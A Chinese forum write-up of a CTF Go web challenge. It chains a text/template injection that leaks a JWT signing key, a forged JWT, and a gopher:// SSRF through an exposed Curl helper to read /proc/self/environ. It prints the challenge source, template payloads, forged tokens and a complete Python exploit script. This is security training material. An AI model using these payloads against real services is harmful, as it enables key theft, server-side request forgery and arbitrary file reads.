记一次Go SSTI打SSRF到任意文件读
1315609050541697 发表于 湖北 CTF 290浏览 · 2024-12-03 08:52

前言

前几天看到这样一个Go语言题目给了源码,从Go的SSTI打入调用相关结构体的函数从而进行SSRF打gopher进行漏洞利用,特此记录

言归正传

看一下主要文件utils.go源码

package main

import (
    "crypto/rand"
    "fmt"
    "net/http"
    "strings"
    "time"

    "github.com/golang-jwt/jwt/v5"
)

type Stringer struct{}

func (s Stringer) String() string {
    return "[struct]"
}

func RandString(length int) string {
    const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    b := make([]byte, length)
    if _, err := rand.Read(b); err != nil {
        panic(err)
    }
    for i := range b {
        b[i] = letterBytes[int(b[i])%len(letterBytes)]
    }
    return string(b)
}

func genJwt(o Token) (string, error) {
    token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
        "user": o.Name,
        "exp":  time.Now().Add(time.Hour * 2).Unix(),
    })

    tokenStr, err := token.SignedString([]byte(config.JwtKey))
    if err != nil {
        return "", err
    }

    return tokenStr, nil
}

func validateJwt(tokenStr string) (Token, error) {
    token, err := jwt.Parse(tokenStr, func(token *jwt.Token) (interface{}, error) {
        if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
            return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
        }
        return []byte(config.JwtKey), nil
    })
    if err != nil {
        return Token{}, err
    }
    var user *Token = nil
    if claims, ok := token.Claims.(jwt.MapClaims); ok && token.Valid {
        un := claims["user"].(string)
        user = &Token{Name: un}
        return *user, err
    } else {
        // Invalid token
        return Token{}, err
    }
}

// This function disables directory listing for http.FileServer
func noDirList(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        if strings.HasSuffix(r.URL.Path, "/") || r.URL.Path == "" {
            http.NotFound(w, r)
            return
        }
        next.ServeHTTP(w, r)
    })
}

mian.go 源码如下

package main

import (
    "fmt"
    "github.com/gorilla/mux" // 路由处理库
    "io/ioutil"              // 文件读写操作
    "net/http"               // HTTP服务器相关
    "os/exec"                // 执行外部命令
    "strings"                // 字符串处理
    "text/template"          // 模板解析
)

// Token 结构体用于存储令牌信息
type Token struct {
    Stringer
    Name string
}

// Config 结构体用于存储配置信息
type Config struct {
    Stringer
    Name          string
    JwtKey        string
    SignaturePath string
}

// Helper 结构体用于存储辅助信息
type Helper struct {
    Stringer
    User   string
    Config Config
}

// 初始化配置信息
var config = Config{
    Name:          "PangBai 过家家 (4)",
    JwtKey:        RandString(64), // 生成随机JWT密钥
    SignaturePath: "./sign.txt",   // 签名文件路径
}

// Curl 方法用于执行curl命令
func (c Helper) Curl(url string) string {
    fmt.Println("Curl:", url)
    cmd := exec.Command("curl", "-fsSL", "--", url)
    _, err := cmd.CombinedOutput()
    if err != nil {
        fmt.Println("Error: curl:", err)
        return "error"
    }
    return "ok"
}

// routeIndex 处理根路径请求,返回index.html页面
func routeIndex(w http.ResponseWriter, r *http.Request) {
    http.ServeFile(w, r, "views/index.html")
}

// routeEye 处理/eye路径请求
func routeEye(w http.ResponseWriter, r *http.Request) {

    input := r.URL.Query().Get("input") // 获取查询参数
    if input == "" {
        input = "{{ .User }}" // 默认值
    }

    // 读取模板文件
    content, err := ioutil.ReadFile("views/eye.html")
    if err != nil {
        http.Error(w, "error", http.StatusInternalServerError)
        return
    }
    tmplStr := strings.Replace(string(content), "%s", input, -1)
    tmpl, err := template.New("eye").Parse(tmplStr)
    if err != nil {
        input := "[error]"
        tmplStr = strings.Replace(string(content), "%s", input, -1)
        tmpl, err = template.New("eye").Parse(tmplStr)
        if err != nil {
            http.Error(w, "error", http.StatusInternalServerError)
            return
        }
    }

    // 从cookie中获取用户信息
    user := "PangBai"
    token, err := r.Cookie("token")
    if err != nil {
        token = &http.Cookie{Name: "token", Value: ""}
    }
    o, err := validateJwt(token.Value)
    if err == nil {
        user = o.Name
    }

    // 生成新的token
    newToken, err := genJwt(Token{Name: user})
    if err != nil {
        http.Error(w, "error", http.StatusInternalServerError)
    }
    http.SetCookie(w, &http.Cookie{
        Name:  "token",
        Value: newToken,
    })

    // 渲染模板
    helper := Helper{User: user, Config: config}
    err = tmpl.Execute(w, helper)
    if err != nil {
        http.Error(w, "[error]", http.StatusInternalServerError)
        return
    }
}

// routeFavorite 处理/favorite路径请求
func routeFavorite(w http.ResponseWriter, r *http.Request) {

    if r.Method == http.MethodPut { // 处理PUT请求

        // 确保只有localhost可以访问
        requestIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":")]
        fmt.Println("Request IP:", requestIP)
        if requestIP != "127.0.0.1" && requestIP != "[::1]" {
            w.WriteHeader(http.StatusForbidden)
            w.Write([]byte("Only localhost can access"))
            return
        }

        token, _ := r.Cookie("token")

        o, err := validateJwt(token.Value)
        if err != nil {
            w.Write([]byte(err.Error()))
            return
        }

        if o.Name == "PangBai" {
            w.WriteHeader(http.StatusAccepted)
            w.Write([]byte("Hello, PangBai!"))
            return
        }

        if o.Name != "Papa" {
            w.WriteHeader(http.StatusForbidden)
            w.Write([]byte("You cannot access!"))
            return
        }

        body, err := ioutil.ReadAll(r.Body)
        if err != nil {
            http.Error(w, "error", http.StatusInternalServerError)
        }
        config.SignaturePath = string(body)
        w.WriteHeader(http.StatusOK)
        w.Write([]byte("ok"))
        return
    }

    // 渲染页面
    tmpl, err := template.ParseFiles("views/favorite.html")
    if err != nil {
        http.Error(w, "error", http.StatusInternalServerError)
        return
    }

    sig, err := ioutil.ReadFile(config.SignaturePath)
    if err != nil {
        http.Error(w, "Failed to read signature files: "+config.SignaturePath, http.StatusInternalServerError)
        return
    }

    err = tmpl.Execute(w, string(sig))

    if err != nil {
        http.Error(w, "[error]", http.StatusInternalServerError)
        return
    }
}

// main 函数启动HTTP服务器
func main() {
    r := mux.NewRouter()

    r.HandleFunc("/", routeIndex)
    r.HandleFunc("/eye", routeEye)
    r.HandleFunc("/favorite", routeFavorite)
    r.PathPrefix("/assets").Handler(http.StripPrefix("/assets", noDirList(http.FileServer(http.Dir("./assets")))))

    fmt.Println("Starting server on :8000")
    http.ListenAndServe(":8000", r)
}

Go SSTI漏洞

发现eye路由存在ssti漏洞直接并且模板渲染的结构体中存在jwtkey

err = tmpl.Execute(w, helper)
type Helper struct {
    Stringer
    User   string
    Config Config
}

// 初始化配置信息
var config = Config{
    Name:          "PangBai 过家家 (4)",
    JwtKey:        RandString(64), // 生成随机JWT密钥
    SignaturePath: "./sign.txt",   // 签名文件路径
}

payload:
根据go语言语法拿到结构体中的JwtKey

{{.Config.JwtKey}}

key值为

pXtlvLNj18QVgM68I9xKwNEbLf2iLYtbgpy8Qu6mTKqKTPcfmub8zvGeIlKlpynt

Go SSRF中的Gopher攻击

接下来看favorite路由中有更改jwt文件读取路径从而读取文件内容的功能

body, err := ioutil.ReadAll(r.Body)
        if err != nil {
            http.Error(w, "error", http.StatusInternalServerError)
        }
        config.SignaturePath = string(body)
            //这里sig是从文件中读取的内容
    sig, err := ioutil.ReadFile(config.SignaturePath)
    if err != nil {
        http.Error(w, "Failed to read signature files: "+config.SignaturePath, http.StatusInternalServerError)
        return
    }

可以通过SSTI访问Curl函数(因为他也是Helper结构体的函数 )请求路由favorite

func (c Helper) Curl(url string) string {
    fmt.Println("Curl:", url)
    cmd := exec.Command("curl", "-fsSL", "--", url)
    _, err := cmd.CombinedOutput()
    if err != nil {
        fmt.Println("Error: curl:", err)
        return "error"
    }
    return "ok"
}

我们看一下路由的限制条件:
首先请求必须来自本地127.0.0.1或者[::1]并且要Name=Papa,同时要用PUT方法请求。

if r.Method == http.MethodPut {

        // ensure only localhost can access
        requestIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":")]
        fmt.Println("Request IP:", requestIP)
        if requestIP != "127.0.0.1" && requestIP != "[::1]" {
            w.WriteHeader(http.StatusForbidden)
            w.Write([]byte("Only localhost can access"))
            return
        }

        token, _ := r.Cookie("token")

        o, err := validateJwt(token.Value)
        if err != nil {
            w.Write([]byte(err.Error()))
            return
        }

        if o.Name == "PangBai" {
            w.WriteHeader(http.StatusAccepted)
            w.Write([]byte("Hello, PangBai!"))
            return
        }

        if o.Name != "Papa" {
            w.WriteHeader(http.StatusForbidden)
            w.Write([]byte("You cannot access!"))
            return
        }

        body, err := ioutil.ReadAll(r.Body)
        if err != nil {
            http.Error(w, "error", http.StatusInternalServerError)
        }
        config.SignaturePath = string(body)
        w.WriteHeader(http.StatusOK)
        w.Write([]byte("ok"))
        return
    }

首先要伪造jwt绕过过滤需要赋值user的值

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzMyMTgxMzYsInVzZXIiOiJQYXBhIn0.Oy7P30XNoykWbfIIqBZzyNqiKn5CA7EyArXxh5zapFk

Gopher 协议是一个互联网早期的协议,可以直接发送任意 TCP 报文。其 URI 格式为:gopher://远程地址/_编码的报文,表示将报文原始内容发送到远程地址.
然后构造 PUT 请求原始报文,Body 内容为想要读取的文件内容,这里读取环境变量:

PUT /favorite HTTP/1.1
Host: localhost:8000
Content-Type: text/plain
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiUGFwYSJ9.tgAEnWZJGTa1_HIBlUQj8nzRs2M9asoWZ-JYAQuV0N0
Content-Length: 18

/proc/self/environ

那么我们一个发送脚本如下

import requests
from urllib.parse import quote
url="http://127.0.0.1:58000/eye"

data='''PUT /favorite HTTP/1.1
Host: localhost:8000
Content-Type: text/plain
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzMyMjIyNDEsInVzZXIiOiJQYXBhIn0.ieXvl_UW5J1PrbwDLmkOqcRk_GcEVbs5F-OKi1bI99U
Content-Length: 18

/proc/self/environ'''

exp="{{ .Curl \"gopher://127.0.0.1:8000/_"+quote(data)+"\" }}"
exp=quote(exp)
res=requests.get(url+"?input="+exp)
print(res.text)
print(exp)

构造gopher,然后调用 curl,在 /eye 路由访问 {{ .Curl "gopher://..." }} 即可

gopher://localhost:8000/_PUT%20%2Ffavorite%20HTTP%2F1%2E1%0D%0AHost%3A%20localhost%3A8000%0D%0AContent%2DType%3A%20text%2Fplain%0D%0ACookie%3A%20token%3DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9%2EeyJ1c2VyIjoiUGFwYSJ9%2EtgAEnWZJGTa1%5FHIBlUQj8nzRs2M9asoWZ%2DJYAQuV0N0%0D%0AContent%2DLength%3A%2018%0D%0A%0D%0A%2Fproc%2Fself%2Fenviron

访问路由成功读取

写一个完整exp脚本

import requests
import re
import jwt
from urllib.parse import quote

global TARGET
TARGET = "http://172.18.0.2:8000"


def leak(input):
    r = requests.get(TARGET + "/eye?input=" + quote(input))
    bdata = r.content
    m = re.search(
        b'<span id="output">(.*)</span>\n        </div>\n    </div>\n</body>\n\n</html>$',
        bdata,
        re.DOTALL,
    )
    if m:
        return m.group(1).decode()
    return None


def gen_http_raw(value, token):
    return f"""PUT /favorite HTTP/1.1
Host: localhost:8000
Content-Type: text/plain
Cookie: token={token}
Content-Length: {len(value)}

{value}""".replace(
        "\n", "\r\n"
    )


def wrap_gopher(payload):
    return "gopher://localhost:8000/_" + quote(payload)


def read_file(fp, token):
    print("\033[96m[+] Generating payload\033[0m")
    payload = gen_http_raw(fp, token)
    payload = wrap_gopher(payload)
    print("\033[F\033[K\033[96;2m[+] Payload generated\033[0m")
    print("\033[96m[+] Sending payload\033[0m")
    status = leak(f'{{{{ .Curl "{payload}"}}}}')
    if status == "ok":
        print("\033[F\033[K\033[92;2m[+] Payload sent: \033[0;2m" + status + "\033[0m")
    else:
        print("\033[F\033[K\033[91m[-] Failed to send payload: \033[0m" + status)
        return None
    print("\033[96m[+] Reading file\033[0m")
    r = requests.get(TARGET + "/favorite")
    bdata = r.content
    m = re.search(
        b'<div class="text fixed" id="sign-text">(.*)</div>\n</body>\n\n</html>$',
        bdata,
        re.DOTALL,
    )
    if m:
        print("\033[F\033[K\033[92m[+] File read: \033[0;4m" + fp + "\033[0m")
        fcontent = m.group(1).decode()
        print(fcontent)
        print("\033[0m", end="")
        return fcontent
    else:
        print("\033[F\033[K\033[91m[-] File read failed: \033[0m" + fp)
        return None


if __name__ == "__main__":
    import sys

    if len(sys.argv) >= 2:
        origin = sys.argv[1]
        TARGET = f"http://{origin}" if "://" not in origin else origin

    print(f"\033[96;2m[+] Target: \033[0;2m{TARGET}\033[0m")

    print("\033[96m[+] Leaking JWT Key\033[0m")
    jwtkey = leak("{{ .Config.JwtKey }}")
    print("\033[F\033[K\033[94m[+] JWT Key: \033[0m" + jwtkey)

    print("\033[96m[+] Generating JWT Token\033[0m")
    token = jwt.encode({"user": "Papa"}, jwtkey, algorithm="HS256")
    print("\033[F\033[K\033[94m[+] JWT Token: \033[0m" + token)

    environ = read_file("/proc/self/environ", token)
    if not environ:
        exit(1)

    m_flag = re.search(b"(^|\0|\n)FLAG=([^\0\r\n]+)", environ.encode())
    if m_flag:
        print("\033[92m[+] Found FLAG\033[0m")
        print("\033[94m[+] \033[1mFLAG: \033[0m" + m_flag.group(2).decode() + "\033[0m")
        exit(0)
    else:
        print("\033[93m[-] FLAG not found\033[0m")
        exit(1)
0 条评论
某人
表情
可输入 255